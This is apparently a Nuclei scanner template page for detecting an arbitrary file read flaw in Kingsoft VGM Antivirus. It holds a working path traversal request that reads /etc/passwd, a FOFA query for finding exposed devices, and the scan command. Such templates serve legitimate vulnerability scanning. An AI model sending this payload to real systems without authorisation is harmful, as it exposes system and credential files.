Kingsoft VGM Antivirus - Arbitrary File Read

ID: kingsoft-vgm-lfi

Severity: high

Author: abbas.heybati

Tags: kingsoft,vgm,lfi

Description

There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.

YAML Source

id: kingsoft-vgm-lfi

info:
  name: Kingsoft VGM Antivirus - Arbitrary File Read
  author: abbas.heybati
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.
  reference:
    - https://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486073&idx=1&sn=8e61e162262585bb8ce973b61df989b4&chksm=c1f925cbf68eacddfe441b8f1861e88068039712e467fb9bbe91eae31d439286c7147d197b07
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/kongsoft-vgm-antivirus-wall-rce.yaml
  classification:
    cpe: cpe:2.3:a:kingsoft:kingsoft_antivirus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kingsoft
    product: kingsoft_antivirus
    fofa-query: title="金山VGM防毒墙"
  tags: kingsoft,vgm,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/downFile.php?filename=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/force-download"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210090bf218ee58d9498a11032eb5b7e5fea3b4225957b7eb98a87cfa781a2e081b10221009ada016bb2d573db53c343d040834a41c7c1e4a08628fa57ab514257c02af0c1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/kingsoft-vgm-lfi.yaml"

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